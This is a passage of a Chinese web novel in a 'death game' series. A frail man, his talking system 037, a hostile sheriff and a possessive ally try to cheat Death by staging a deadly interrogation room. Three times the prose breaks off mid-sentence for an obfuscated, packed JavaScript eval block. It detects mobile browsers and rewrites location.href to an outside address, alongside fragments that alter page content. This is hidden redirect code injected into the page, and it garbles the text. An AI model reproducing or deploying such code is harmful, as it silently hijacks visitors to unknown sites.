安德鲁瞪着唐尼,这个在他离开纽约前做了六年至交的警长。 “十六岁又怎么了,我抓住的少年犯几十上百个,你难道就抓得少了?更何况,他们,那些死去的孩子,他们哪个成年了?”唐尼冷笑地看着面前这个闯进办公室的老朋友。 安德鲁忍不住后退一步,握成拳头的手因为用力而颤抖,“你……唐尼,你不能把自己儿子的死归罪到林恩头上……” “嘭”唐尼的表情终于裂开,他一拳砸在桌面,“安德鲁!这里是警局,不是联邦探员的地盘,如果你丝毫没有客人的自觉,我也会把你赶出去!” “不用你赶,我们两方的上司正在交涉,等着吧,明天或者后天,就算你不乐意,警局也得配合我们。” 唐尼再也无法维持游刃有余的假象,他震惊地瞪着安德鲁,仿佛看到的是另一个陌生人。 但唐尼知道,安德鲁不会撒谎。 唐尼推开挡在面前的安德鲁,盯着林恩,压低声音,阴森森道:“好,那就等合作吧。” 说完唐尼不愿意再待在这里,林恩不会告诉他真相,他只需要等司机醒来,这是十年来和林恩关系最密切并且还活着的“帮凶”。 唐尼离开了,办公室里再次安静下来,只有两人略微急促的呼吸声。 037心惊胆战地看完了全程,但它一点声音都不敢漏出来,连代码都运转得更加小心。 相处十年,037从不知道林恩心里装着多少情绪,像一片又一片响纸,轻轻踩上去,最终堆出鼓噪的震响。 第一个发出声音的是安德鲁。 “克莱尔和卡特的状态都已经好转,我会把他们接走照顾”安德鲁看着面前单薄的青年,歉疚地说, “可林恩,我已经离开警局,联邦探员没办法把你带出去,而且这次虽说是合作,可唐尼不配合,我们也没办法。” 林恩已经没精力听安德鲁的话了,他全身骨折般的痛,连眼前站的人的脸都模糊不清,他只能呆滞地点头。 林恩牵扯嘴角笑了一下,“安德鲁,不用担心,唐尼以后不会再过分阻碍我们了。”他今天故意用话刺伤了唐尼那颗脆弱又偏执的心,估计接下来唐尼出现在他们面前都不会太自在。 警局的人都知道唐尼的执念,那些人不会劝阻唐尼,毕竟谁会把残忍的真相告诉一个寻找仇人的疯魔父亲,他们只会欲言又止,毕竟被找麻烦的对象不是自己。 只有林恩,为了完成任务,林恩愿意去敲醒这个跟踪自己十年的警长。 安德鲁张了张嘴却说不出话,过了几分钟才开口,“我送你去休息吧。” 临时拘留室里很暗,秋日的阳光洒不进来,冰冷的铁栏杆和空荡荡的角落让这里成为整个警局最潮湿的地方。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446993|201108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 安德鲁把林恩交给宋飞白,他来的时候就听说是这个陌生人救了林恩。 虽然也有不少可疑的地方,但拘留室内也没有别人了。 林恩头痛得睁不开眼睛,只模模糊糊听见安德鲁说他会去买些日用品,之后会想办法托认识的警员送进来。 安德鲁匆匆离开,拘留室内只剩下昏沉的林恩和宋飞白。 037眼见宋飞白在阴影中慢慢走近,不知道是从哪来的直觉,037哆嗦了一下,在林恩脑子里小声地喊,“林恩。林恩。” 林恩没反应。 037加大声音,“林恩,醒醒!” 林恩皱起眉头。 037大声吼,“林恩——!!” 眼看着宋飞白越走越近,037在脑子里大喊,试图把林恩唤醒,但没用,林恩只觉得吵。 他喃喃自语,“别吵,我休息一会。” 宋飞白盯着林恩的脸看,在昏暗的拘留室,林恩的肤色越发白,像一块湖面上的冰。 没理他这句莫名其妙的话,宋飞白直接把人提起来放在角落的铁架床上。 那太冷了,林恩下意识哆嗦了一下。 宋飞白顿了顿,再次把林恩提起来,把自己的哈灵顿夹克先铺在铁床上。 等再把林恩放上去时,只有垂下的手落在冰冷的铁床边缘,他似乎清醒了一瞬,吃力地睁开眼睛,“宋飞白,帮我,我的药,在上衣口袋里。” “好,我会帮你。” 宋飞白手伸进他的上衣口袋,那里贴近林恩的胸膛,甚至能感受到林恩急促的心跳。 “怦、怦。” 林恩瘦得过分,薄薄的皮肤包裹着骨骼,宋飞白的手贴在那,那和将一个人炙热的心脏握在手里也没有区别了。 异样畸形的掌控感让宋飞白呼吸也快了两拍,两人的呼吸和心跳纠缠在一起。 从在机场见到林恩的第一秒宋飞白就知道,他注定和这个人心跳同频。 止疼药在宋飞白收紧的掌心里拿了出来,他饶有趣味地看着用白纸包着几颗红白两色的胶囊,这是为了防止有人发现他用的药品名称而特地换了个包装。 林恩在瞒着什么? 自己的病和命不久矣的未来? 瞒着那个什么也不知道的纯真养女还有那些毫不相干的死神游戏参与者。 没有水,但林恩已经习惯直接吞下它们。 药不会立刻发挥作用,林恩抓住宋飞白的外套袖子,指节泛白,手心因为疼痛而冷汗涔涔,“别告诉克莱尔。” 宋飞白调查过克莱尔,不如说他调查过林恩身边的所有人,地中海家庭医生,红脖子邻居……但宋飞白并不关心这些人,他只是要知道林恩这些年的生活环境,他要确认,林恩是原住民而不是用了古怪道具的任务者。 一见钟情? 宋飞白从不相信什么一见钟情。 可多么奇妙,他竟然会爱上一个初次见面的人,而且两人还不在同一个世界。 宋飞白是短暂停留的任务者。 林恩却有完整的成长轨迹,是恐怖世界的原住民。 但还不够,宋飞白让那个粗鲁的红脖子邻居去敲响林恩的门,两人的对话并没有问题,他们确实互相认识对方。 林恩在恐怖世界真切生活了二十六年,没有任何一个任务者可以办到。 雷光落下时,隐藏在暗处的宋飞白再次看清了林恩的脸,苍白的肤色、滚落的冷汗和嘴唇上咬出的一点红,直直闯进宋飞白心里。 一见钟情。 宋飞白想,能抓在手里的才叫一见钟情。 为了得到面前这个人,宋飞白甚至回到现实世界几乎花光自己所有积分兑换一个道具。 一个可以将恐怖世界原住民死后带到现实世界的道具。 阳光被云层遮住,大片大片的阴影从家具底部延伸出来,屋子里的气氛变得幽暗而隐秘。 宋飞白看着因为疼痛快要蜷缩起来的林恩,黑色的卷发被汗湿,脸色苍白得仿佛要碎掉。 他一只手按在林恩握紧的手上,强硬地一根一根把林恩的手指掰开,手心摊平,掌纹便清晰地出现在宋飞白眼前。 宋飞白喉结滚动,“当然,当然了林恩,放心吧,我不会告诉任何人。” 但林恩显然没有听到宋飞白在说什么,他已经痛得意识模糊了。 宋飞白满足得如同终于咀嚼到了第一口肉,这会并不在意自己的话没人听见,他用指尖一寸一寸滑过林恩的掌纹。 没人说话,只有037在发出尖锐爆鸣。 11. 死神游戏 林恩醒来时还浑身酸痛,特别是他后脑勺涨疼得厉害,勉强睁开眼睛,这会还是晚上,拘留室内没有开灯,只有如水的月光流泻在地面。 铁架床很小,更何况林恩身侧还挤着一个大人,是宋飞白。 林恩眨眨眼,宋飞白侧睡着,优越的身高让他的两只脚垂在床尾,半张脸被月光照亮,那锋利的棱角终于柔和了一些,他还没醒。 林恩轻轻用手掌撑着铁架床边缘坐起来,柔软的暖黄色被子从身上滑下,堆在腰间,这被子必然不可能是拘留所发的,唐尼没这么好心,那应该就是安德鲁给的。 “林恩,你没事了吗?”037小心翼翼地问。 它扭扭捏捏,和平日里吵闹的模样大不相同,“你还生气吗?要是真那么讨厌唐尼,我帮你在网上发帖骂他呀。” 林恩愣了一下,反应过来037怕是被他昨天和唐尼对峙时吓到了,他笑了笑,牵扯到的肌肉生疼,“没事,我还好,我当时和唐尼对峙主要是为了让他往后可以少妨碍我们。” 但林恩这话不也是没反驳生气的事吗?037讨巧地不再问,它观察着林恩的神色,发现确实是放松的模样。 于是037迫不及待地告状,“林恩,我觉得宋飞白不对劲。” 它机械音里满是警惕。 林恩扭了扭酸痛的手腕,问,“宋飞白干什么了?” “他碰你胸口了。”037不满地哼了两声,它觉得宋飞白停留时间太长了。 林恩没在意,“那是帮我拿药,不然我这会不一定能醒来。” “那他还牵你手!” 林恩愣了愣,“他牵我手干什么?” 林恩举起自己右手,在月光下这只手细瘦得过分,指节间没有柔软的肉包裹,脆弱得一折就断。 他没觉得自己现在的手好在哪。 但林恩还记得,这双手在能量没有耗尽的时候也是健康的,挥动球拍时响起的破空声十分悦耳。 倒是宋飞白,林恩想起宋飞白的手,微微握紧时青色的血管会在手背凸起,特别是手侧面的那条狰狞的疤痕,即使不知道受伤的原因,但力量感也在宋飞白身上展现得淋漓尽致。 “唉,我该锻炼一下的。”林恩感叹道。 系统这下也不确定了,它对人类的社交距离只有理论知识,现实中究竟该怎样相处却没有足够的资料供它研究。 “睡不着?” 身侧的声音清朗,没有半点刚睡醒的意思。 宋飞白不知道醒了多久,他的眼睛在月光下亮亮的,像结了冰的湖水。 “还好吗?”宋飞白态度自然地问,“身上还痛吗?” 林恩摇摇头,他意识到这算是他第一次和宋飞白单独相处,这个男人存在感太强,只要一开口说话就让林恩没办法忽视。 林恩还在对着宋飞白微笑,脑子里却在和037对话,“你说他可疑的话我赞同,不过我们只是合作关系,有些秘密多正常,只要我们目标一致就行。” 就像林恩永远不会把系统的事告诉任何人。 月光在移动,跳跃着爬上林恩的手,如同在虎口处积了一洼小小的水塘。 宋飞白的目光也停在那。 第二天清晨安德鲁就来拘留室里接走了他们,再次回到唐尼对办公室,地面的纸团已经全被丢进垃圾桶,角落的腐烂盆栽也被清理,转而多了一排铁质座椅。 窗户被打开了半扇,宝石蓝色的窗帘挂在窗外,迎着风的方向飞舞,窗框则被吹得撞在墙面发出哐哐的声响。 办公室里到来的人比林恩预料的还多,除了唐尼和他的下属佐伊外,剩下能自由活动的幸存者也都在这了。 唐尼沉着脸,完全一副被强迫来这的姿态地坐在最靠里的办公桌前。 佐伊悄悄看了一眼面色不好的唐尼,小声和林恩说,“窗户昨晚坏了,关不上。” 至于为什么坏,不用想都来自于唐尼的暴力拆解。 林恩没管这个小肚鸡肠的警长,随便挑了一个位置坐下,宋飞白一直就跟在他身边,克莱尔坐在了另外一边,紧张地看着林恩。 林恩感受到焦灼的视线,无奈地笑了一下,“克莱尔,我真的没事。” 克莱尔犹豫道:“可你昨天脸色不太好。” 克莱尔似乎已经被安抚过,并没有问两人分开后的事情,应该是安德鲁已经向她解释过。 林恩:“只是有点累,今天这不是好了吗?” 克莱尔显然没怎么相信,可也不好明说,只是狐疑地看了林恩一遍又一遍。 037问:“你真的不告诉克莱尔吗?” “说什么呢?说我命不久矣,不用等死神折磨我自己就能去和祂双向奔赴?”林恩装作没注意到克莱尔的眼神,不动声色地回答, “037,我就剩那么点时间,与其在医院里耗着等死,不如赌一把完成任务。如果我告诉克莱尔,今天或许就不用坐在这了,她会立刻让我去医院接受治疗的。” 但医院治不好林恩,那只会对克莱尔造成更加悠久绵长的伤害。 037大叫一声,“那可不行,你还要完成任务的。” 克莱尔还在悄悄看林恩,看见他分明的下颌线和冷白的皮肤,微卷的头发失去光泽耷拉着,看来拘留室里的环境不怎么好。 她犹豫地说:“我昨天去见了托德。” 林恩一愣,诧异地看向克莱尔,林恩脑子里开始嗡嗡响。 “托德听说是你打的急救电话,还说他昏迷期间能感受到一只温暖的手按在自己胸膛。林恩,他说谢谢你。”克莱尔想,那肯定是林恩在为托德做心肺复苏,林恩救了托德。 克莱尔说完,期待地看向林恩的眼睛,希望用这个好消息来让林恩更开心些。 可克莱尔只看见林恩越发苍白的脸,他失去血色的嘴唇张合两下,“托德这么说的?那托德说错了,克莱尔,我没有救他。” 037从昨天就异常敏锐,此刻大喊道:“确实是你提醒托德父亲闯进浴室救人的,你救了他,这没错!” “我知道,037,我也不会后悔当时的举动,即使再来一次,我依旧会选择尝试让托德心跳停止,这不止是在救我自己,也是在真正救托德。” 如果不能尽快结束死神游戏,他们还活着就要经历第二轮、第三轮游戏。 林恩表现出的异样只有一瞬间,克莱尔却心惊胆战。 她没敢再说话,只想着等之后一定要找个机会和林恩说开,现在却并不合适。 进门后比利随便挑了个中间的座位,他还没有亲眼见识过死神的把戏,也没意识到危险,表情新奇得如同进入警局参观的学生。 他依旧反戴着有些泛黄的白色棒球帽,看见林恩后跳起来打了个招呼,但在唐尼凶狠的视线中又坐了回去。 唐尼白了比利一眼,接着冷哼一声,习惯性抽出一支香烟,刚放进嘴里还没点燃。 林恩笑眯眯地说:“唐尼警长,注意身体别抽烟了吧。”林恩可还记得昨天唐尼有恃无恐抽烟的模样,害他昨天咳嗽得胸口痛,这会只是用话来呛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446994|201108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呛唐尼也是便宜唐尼了。 唐尼动作像被按了暂停键,他想起昨天在林恩面前的失态,这会脸色又白又红,哼了一声把烟重重拍在桌面。 唐尼忽然想起了什么似的,他对付不了林恩,拿林恩身边的人解气也可以。唐尼语气不太好,盯着宋飞白像在看什么伪装起来的怪物,“你先解释下为什么有具长相一样的尸体吧,否则我信不过你。” 宋飞白依旧坐在椅子上,身体微微后仰,眼睛扫视一圈,这些人都紧张地注视着自己,他呵笑一声,随口说胡话,“孪生兄弟而已。” “那他怎么会溺水死了,自杀还是谋杀?你不去替他报仇?” 河里寒冷的水流似乎又渐渐漫上来,淹过口鼻,没过眼睛和头顶,宋飞白拇指极细微地动了动,又想起昨晚照在林恩虎口的月光。 宋飞白脸上的笑意更深,“是啊,我现在就在报仇,死神杀了他。” 林恩知道,宋飞白的意思是他为了完成结束死神游戏的任务,自杀回到现实世界的事。 但其他人不清楚,神色各异,特别是唐尼,脸色一阵青一阵白。 最后还是艾利克斯站出来说话。 他昨晚已经和安德鲁,克莱尔讨论过,得到了正确的死亡顺序。 “死亡顺序是按照我们在飞机座位上遭受爆炸波及的先后,”他抬眼隐晦地看了眼林恩,嘴里却说,“托德和泰莉已经出事,接下来该轮到柳敦老师。” 再往后是卡特、比利、艾利克斯,最后才是克莱尔。 柳敦昨晚睡在警局办公室,却频频从噩梦中惊醒,火和血交织在一起吞没了她。 她已经把离开纽约的火车票退了,毕竟死亡追杀并不会随着她逃跑而停止。 此刻柳敦脸上血色瞬间消退,嘴唇哆嗦了几下,“轮到我了。” 她看着面前这个自己一直逃避面对的学生,恍惚间回到在机场的那天夜晚,纷繁嘈杂的人声涌入她的耳朵,如果那天她的学生们都听了艾利克斯的话不上飞机会不会就没有后续的事? 唐尼分明还是不愿意相信,看他们就如同看过家家的孩子,但上司要求他们合作。 唐尼习惯了安排具体事宜,说话就像下命令,“那就把柳敦放在我身边,我亲自保护她。” 安德鲁也赞同这个办法,这个世界上没有什么地方比纽约警局更安全。 林恩却摇摇头,“这样不行,即使再全副武装,未知的意外也随时会降临。我和宋飞白有别的办法。” “什么办法?” 林恩看向众人,“不能说,死神在看着我们。” “什么意思?” 林恩长长的卷曲的睫毛在阳光下能看见浮在空中的灰尘,他的声音很轻很慢,像在讲一个极其普通的知识点, “死神就在这里,祂能看见我们,也能听见我们说话。” 淡金色的阳光落在房间中央,众人却如坠冰窖。 所有人都离开后,佐伊靠近自己的上司,问道:“医院里司机已经醒了,你要不要去看看。” 唐尼眼神停在自己为了查清楚十年前连环车祸幸存者接连遇难的案子,为了给林恩定罪,这满柜子的资料他用了十年才看完。 他拳头握得很紧,刺痛从掌心传来,“不用了。” 可在佐伊踏出办公室前,背后有沙哑的声音问,“他、司机说了什么?” “司机说他不认识林恩,会出事也是因为易拉罐滚到了刹车下,再加上看后视镜似乎闪过一片黑影,最后慌了神撞在路灯上才停下。” 12. 死神游戏 佐伊出门看见林恩,她知道这会一些细节方面的内容需要林恩来下决定,问道:“这几天柳敦该待在哪?” 其实都不能说是几天,佐伊已经连夜翻看了之前的两起事件,托德是在飞机事故后一个多月才出事的,泰莉的死亡时间却仅仅和托德间隔了一天。 很难说柳敦需要在警局待多久。 林恩回头看向办公室,那里只剩下依旧垂着头坐在办公椅的唐尼,“让柳敦去审讯室吧。” 他们不知道死神会什么时候开始祂的游戏,只能从现在开始准备。 审讯室里只有冰冷的铁椅,可现在里面开始搬进很多东西,方盒子电视、沙发、玻璃桌面……林恩指挥着把这些家具放在对应位置,原本还算空荡的审讯室瞬间变得拥挤不堪,有些家具警局里没有,还需要林恩打电话临时购买。 商家今天似乎很忙,林恩使用钞能力后也等到中午才有人上门安装,装修工人抹了脸上的汗珠,不好意思地说:“今天是万圣节,路上实在堵车,抱歉来得有些晚。” 林恩愣了愣,这些天发生的事情太多,他都忘记这个节日了,或许现在对面的大楼已经开始挂上装饰用的橙黄色南瓜灯了。 今天街道和广场的人流量变大,唐尼不得不派出更多警员外出维持秩序,因此警局内只剩下几个值守的警员和林恩几人。 这会唐尼脸色强忍怒气地看着自己的办公室多了许多毫无用处的东西,他想问些什么却又碍于脸面开不了口,成功把自己憋得脸涨红。 最后还是佐伊问道:“你想制造出可控的意外,来尽量规避更大的伤害?” 现在这间办公室里,可能会碎裂的玻璃桌、说不定会炸开的打火机、头顶新换的摇晃水晶灯…… 这里是人为打造的死亡环境,即使佐伊从没参与过死神游戏,脑子里也能想出几十种死法。 但这些死法并不会立刻让柳敦丧命,他们有足够的时间急救。 佐伊不得不说这是个好办法,但林恩没有点头,他只是垂着长长的睫毛,眼神不知道停在哪, “不,佐伊,意外都是不可控的,我不能永远被意外牵着鼻子走,”林恩脸上似乎笑了一下,但佐伊不确定是不是自己看错了。 “我要让死神主动走出来。” 审讯室林恩再熟悉不过,毕竟他曾经也被唐尼提到这里来审问过,虽然唐尼什么也没问出来。 审讯嫌疑人的地方被分成两个房间,一个是一侧墙面全是单面玻璃的审讯室,另一个房间则是可以看见整个审讯室的观察室。 观察室靠单面玻璃的地方有一个操作台,上面是通过摄像头抓取画面的显示屏,显示屏会有详细的时间、温度等记录。 林恩环视整间观察室,只有几平米的空间,但因为东西少得可怜竟然也显得宽敞。 这里没有窗户,只有冷白的灯光照在地面。 房间正中摆着一张桌子,本该空无一物的桌面此刻却躺着一只死了不知道多久的灰色蜘蛛。蜘蛛浑身水分仿佛被蒸发干净,几条腿僵硬地支楞着,轻轻一碰就会断下一截。 原本鼓胀的肚子此刻也干瘪得接近透明,如同一颗腐烂果子。它此前一直被困在灯里,直到被烤干都没逃出来,现在却落在桌面。 克莱尔面色难看,她总觉得这只蜘蛛别有深意。 克莱尔不安地问:“林恩,这是不是死神做的?” 林恩点点头,抿着嘴用纸包了蜘蛛丢进垃圾桶,他知道这又是死神的小礼物。 宋飞白却似乎挺喜欢这里,他心情颇好地挑了张椅子坐下开始研究监控。启动电源后,屏幕诡异地只显示出白色背景中央站着一只茫然的小黑羊。 圆滚滚的小黑羊被驱赶着走上高台,如同被献祭的祭品。 有人用麻绳一圈圈捆住它的四肢,想用锋利的镰刀割下它的羊角。 宋飞白讥讽地笑了笑,看来死神和他的品味不同。 宋飞白也喜欢自我献祭的羔羊,但不仅仅是它锐利坚硬的羊角,而是羔羊浑身的每一毫血肉、每一寸骨骼、每一丝眼神都归自己所有。 当然,宋飞白想自己不需要等太久。 只要林恩继续救人,甚至不需要等林恩病逝,宋飞白就能拥有属于自己的祭品,一只独一无二的小羊羔。 在鲜红的血液涌出前,宋飞白随手把显示屏关闭。 等林恩走近时显示屏漆黑一片。 林恩问:“怎么不打开?” 宋飞白抬眼,那颗小痣也正对着林恩,他说:“等柳敦来了再开。” 037终于抓到了宋飞白的破绽,着急忙慌地跳出来告状,“他骗你,我看见了,这块屏幕上之前还有内容,是一只小黑羊!” 林恩不动声色地坐在宋飞白身边,他叹了口气,没想到这个临时合作对象还挺团结,死神都已经明示想要林恩作为祭品了,宋飞白竟然还能装作没看见继续和他合作。 看来这个世界任务完成后,如果有机会可以发展成长期合作队友。 林恩在宋飞白不明所以的视线中拍拍他的肩膀。 剩下几个幸存者,艾利克斯不可能离开,他的死亡预感才是这次行动的关键。 克莱尔和比利都主动留下,比利没想走,他的新鲜劲还没过去,心里既紧张又害怕,像走在钢丝上表演杂技。 只是比利还不知道安全绳早已被剪断。 卡特知道自己的死亡顺序排在柳敦后面松了口气,可他再没有当时和艾利克斯打架的勇气,他彻底蔫了,也不敢见林恩,干脆躲进休息室里不出门。 唐尼把这两个幸存者全都打包安排进了休息室,只剩下艾利克斯和克莱尔跟进了观察室。 观察室里,唐尼插着手,“我就守在这,不会离开,”他瞥了眼林恩,固执地说,“我还是不信你。” 安德鲁没多说什么,只是叹了口气,两人对视一眼,几年没见的时光在这一刻汇聚。 唐尼老脸有点红,他转而盯着林恩,试图捡起自己被打散的威风,说话时带着些高高在上的神色,“我会盯着你,林恩,别妄想耍什么花样。” 临进入审讯室前,柳敦抓着林恩的手腕,像在抓一根救命稻草,她脸色发白,颤抖着问:“只有我一个人进去吗?你、林恩,你可以陪着我吗?或者让佐伊来。” 林恩此刻仿佛变成了一个真正的神父,他眉眼微垂,温和地安慰道:“我会和你一起进去的,至于佐伊,她还要去陪着其他幸存者,毕竟他们也需要保护。” 柳敦张了张嘴,最终和林恩走进了审讯室。 审讯室里摆满了各式各样的家具,米白色和燕麦色的家具放在各个角落,可只要头顶那白惨惨的灯光往下一照,整个房间就总是隐约间透出几分阴森。 柳敦两只脚缩在沙发上,整个人蜷成一团,正焦虑地撕着手指尖的死皮。 柳敦知道自己曾经做错了,她曾经厌恶逃避艾利克斯,但当时她无法控制自己对能够预言危险的异端感到恐惧,所以她会拒绝接听艾利克斯的电话,在葬礼上也会选择远远避开。 她最初反感艾利克斯就像人类厌恶乌鸦,而她逃避林恩就如同几天前逃避艾利克斯,这两个人都让她察觉到危险。 可现在,柳敦知道,如果不靠这两个人,她或许也会和泰莉一样,因为“意外”死去。 柳敦又开始咬指甲,像在磨平自己不满意的那块骨头,时间越流逝她就越怀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446995|201108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疑自己的选择是否正确,或许她该直接离开纽约,越远越好。 林恩叹了口气,柳敦太紧张了,这样的状态林恩已经看过太多次,他走上前轻声问:“要喝一杯热可可吗?或者也有可乐。” 柳敦总觉得房间里有她看不见的存在,就藏在家具缝隙的阴影中,用垂涎的目光盯着他们。 或许那就是死神,柳敦心脏狂跳,缺氧让她眼前发白,甚至产生轻微的耳鸣,她想把自己蜷缩得更紧,以致于骤然听到林恩的声音时吓得差点从沙发上滚下来。 林恩装作没看见柳敦的失态,他自然地扬起微笑,再次问:“你想喝点什么吗,热可可,咖啡或者可乐?” “我可以喝啤酒吗?搬桌子时我看见了,就在抽屉里。” 林恩把啤酒拿出来,那是还未打开的一整瓶,唐尼警长用来值夜班时打发时间的饮料。 “现在喝这个有些危险,你可以回去后再喝。”林恩把啤酒瓶放在桌面边缘。 但柳敦不再说话,她颓丧地垂着头。 林恩转而问:“要看会电视节目吗?我记得这个点会播喜剧。” 但柳敦只是疲惫地摇头,“自从飞机失事后,我就开始害怕看见任何新闻播报,结果现在连电视机都不敢打开了。” 林恩没再说话,他忽然站起来,额角渗出汗珠,本该冰冷的审讯室温度在不正常地迅速升高。 连柳敦都抬起头问,“林恩,我觉得有点热,怎么回事?” 墙上的时钟停在下午一点四十分,林恩分明看见,秒针诡异地停顿了片刻,接着卡在十二的数字。 林恩脸上泛起不自然的红,他知道死神终于来了。 下一刻,天花板的消防喷头猛然炸开,消防用水浇了两人满头满脸。 柳敦下意识抬头看,可长期没有检修的喷头里喷出的水并不干净,里面混满了细菌、泥沙、甚至还有炸开的玻璃渣。 “啊!” 柳敦只觉得眼睛剧痛,她凄惨地痛叫一声。 柳敦捂着脸,她能感受到有液体从眼睛流出,滴落在自己的手心。即使柳敦忍着剧痛睁开眼睛,却发现自己什么也看不见,她惊慌得如同刚出生的婴儿,两只手胡乱地朝前摸索。 “林恩!林恩!你在哪?你还在吗?!” 话音未落,柳敦就察觉身边多出了一个人,她吓得哆嗦了一下,可很快反应过来那是林恩。 林恩看着贴紧自己肩膀的柳敦,她脸上满是茫然惊惶,眼眶通红,嘴唇却白得像纸。 她颤抖着问:“林恩,我怎么了?我看不见了?我、我……!” 林恩另一只手轻轻放在柳敦后背,推着她朝前走,“别担心,柳敦,你可以离开这里了,不会有危险的。” “可是,死神怎么办?祂放过我了吗?” 在门打开的一刹那,光亮照着柳敦的眼睛,她仿佛看见曾经在飞机上逃过的火现在就要来烧穿她。 可林恩的声音在她身后响起, “去吧,我会结束这一切。” 至于观察室里的其他人,宋飞白一手一个全都拎着丢了出去,他是半点不在意其他人的想法,心狠手辣地完全不管扒着门框挣扎的克莱尔。 关门前,宋飞白一只手按在唐尼肩膀,挑了挑眉,心情很好得甚至流出几分笑意,“警长,麻烦你一定要保护好我们的老师和卡特,他们绝不能死。” 门砰的关上。 现在,林恩真正想要的密室出现了,柳敦的死亡环境还在继续发酵,审讯室内温度已经停止升高,空气却因为喷头淋下的脏水变得恶臭。 这里只有他和宋飞白,接下来林恩就要代替柳敦,插队成为死亡顺序的第一顺位。 13. 死神游戏 审讯室里弥漫着一股难以言说的安静。 林恩走向房间的正中央,他的面前是一面巨大的、足以照出他半个身体的单面玻璃。 他看见单面玻璃里的自己拿出一个耳机戴上,声音则来自于林恩看不见的观察室内, “林恩,你成功代替柳敦了吗?” 从昨晚和宋飞白面面相觑后,林恩就定下了今天即将发生的一切,在办公室开会,购买家具,决定陪着柳敦审讯室进审讯室,全是林恩一手策划,为的就是拥有现在这个死亡环境持续发酵,死亡对象却已经离开的密室。 作为被死神偏爱,可以随时插队的人,林恩是唯一一个可以代替柳敦成为排入死亡顺序的人。 现在,林恩能察觉到落在自己身上的视线,在家具的缝隙里,在白炽灯的阴影下,在时钟不再前进的秒针上,处处都裹满死神黏稠肮脏的视线。 这些视线对准林恩,等待这只羔羊落入祭台。 “当然,我能感觉到。”林恩回答道。 审讯室没有窗户,闷热的空气和冰冷的白炽灯光交缠,温度还在缓慢攀升。 林恩退后一步,踩进如水的透明泥泞中,他看见玻璃桌上不知道什么时候开始有一条细细的裂缝,像一条爬在桌面的蜈蚣。 放在桌面边缘的啤酒瓶内发出细微的嘶嘶声音,林恩能预见,当啤酒瓶炸开时飞溅而来的玻璃片一定会划破他的喉咙。 林恩可能会捂着血液喷涌的脖颈倒地,而这里甚至没有医生,他一定会死。 林恩先远离了可能会碎裂的桌面和炸开的玻璃瓶。 他走向沙发,林恩的头顶悬着透明华丽的水晶灯,一层叠着一层,即使是白炽灯光也能在里面变成绚丽的彩色。 水晶灯没有接通电源,它仿佛只是一个为了让室内更加华丽危险的饰品,真正照明的是审讯室老旧的白炽灯。 室内分明没有风,水晶灯却开始轻轻摇晃,如果它坠落下来会砸断林恩的脖颈。 这里并不是他能实现死而复生的位置。 林恩离开沙发,他走向整个审讯室的中央,消防喷头还在往下滴水,“滴答滴答”落进林恩面前方形电视机的机身里。 而在电视机下,因为匆匆搬运而没有时间处理的电线缺口正裸露在空气中。 电视机没有打开,林恩却能听见水滴落在里面发出滋滋的声音。 林恩站在那,心底有声音在叫嚣,对,就是这个,它会让林恩实现死而复生。 但仅仅站在这并不能让意外发生。 林恩回身走向玻璃餐桌,他拿起那瓶啤酒的同时,“哗啦”,玻璃桌的裂纹越来越大,直到在林恩的眼前碎了一地。 它们像一把把竖起的尖刀,等待林恩失误踩上去的那刻。 可林恩看得清楚,他避开四分五裂的玻璃桌,走向电视机,路过沙发时,头顶的水晶灯相互碰撞发出清脆的声音,可它最终没有落下来。 死神自持优雅内敛,祂不愿意将自己的意图表现得过于显眼。 最终林恩拿着玻璃材质的啤酒瓶停在电视机前。 如同一条已经规定好落点的路线。 气温还在持续升高,林恩看见啤酒冒出细小的气泡,从瓶底往上飞到水面,气泡越滚越大,他几乎可以听见瓶身发出难以承受的吱吱响声。 林恩知道,他不能再把啤酒瓶拿在手里了,酒瓶随时会炸开,到时候会飞嵌进他脸部骨骼和血肉。 他把啤酒瓶放在靠近电线的地面,瓶盖轻轻鼓起,随时可能爆炸,正如死神在朝他既隐秘又明目张胆地靠近。 对面的单向玻璃映照出审讯室内的所有物品,在林恩身后,一片巨大的黑影缓缓升起,祂在向外伸出自己的触手,变得足够将林恩包裹在密不透风的阴影中。 林恩不再多看,他随意地走向电视机,指尖在下方摸索电视的开机键。 身后的玻璃瓶发出一声短暂急促的“咔”。 下一秒,“嘭”地炸响。 玻璃瓶炸开了。 飞溅出来的酒液落在裸露的电线,瞬间无形的电流布满这个电视机外壳,几乎同时林恩手指传来烧灼般的剧痛。 林恩仿佛被钉在电视机上,电流顺着手指流遍全身,从心脏窜到他的另外半边身体。 他快要呼吸不了,林恩浑身颤抖,所有的肌肉似乎都在压缩塌陷,眼前只剩下惨白的一片,在耳朵里尖锐的耳鸣中林恩眼前像被按下关机键,只能慢慢倒了下去。 